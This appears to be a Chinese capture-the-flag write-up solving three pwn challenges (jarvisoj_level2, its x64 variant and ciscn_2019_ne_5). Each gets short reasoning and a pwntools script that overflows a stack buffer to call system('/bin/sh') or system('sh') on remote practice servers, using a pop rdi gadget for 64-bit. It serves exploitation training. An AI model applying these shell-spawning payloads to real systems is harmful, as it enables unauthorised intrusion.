system

jarvisoj_level2

32bit程序
主函数

在这里插入图片描述

跟进

在这里插入图片描述

可以利用read函数控制system函数getshell

程序中可以找到/bin/sh字符串

传参的时候需要逆着传

exp:

from pwn import*
#p = remote('42.192.4.123',8007)
p = remote('node3.buuoj.cn',25418)
bin_addr = 0x0804A024
sys_addr = 0x08048320
payload = 'a'* (0x88+4) + p32(sys_addr) + p32(0)+ p32(bin_addr)
p.sendline(payload)
p.interactive()

jarvisoj_level2_x64

64bit程序
因为64程序前6个是通过寄存器传参的
所以和32位程序的payload差一个pop rdi ret就可以了

exp:

from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',27953)
binsh_addr = 0x0000000000600A90
sys_addr = 0x00000000004004C0
pop_rdi = 0x00000000004006b3
payload = 'a'*(0x80+8) + p64(pop_rdi) + p64(binsh_addr) + p64(sys_addr)
p.sendline(payload)
p.interactive()

ciscn_2019_ne_5

32位

思路:用scanf输入payload后通过strcpy溢出完成getshell

ida:

在这里插入图片描述

先通过选项1中的scanf输入payload

在这里插入图片描述

再进入选项4完成getshell

在这里插入图片描述

因为strcpy不限制长度,所以会栈溢出

程序中没有/bin/sh,但是可以找到sh,也一样可以getshell

exp:

from pwn import *
from LibcSearcher import *
context.arch = 'amd64'
p = remote('node3.buuoj.cn',29482)
#p = remote('127.0.0.1',12345)
sh_addr = 0x080482ea
sym_addr = 0x080484D0
p.sendlineafter('password:','administrator')
p.sendlineafter('Exit\n:','1')
payload = 'a'*(0x48+4)  + p32(sym_addr) + 'aaaa' + p32(sh_addr)
p.sendlineafter('info:',payload)
p.sendlineafter('Exit\n:','4')
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值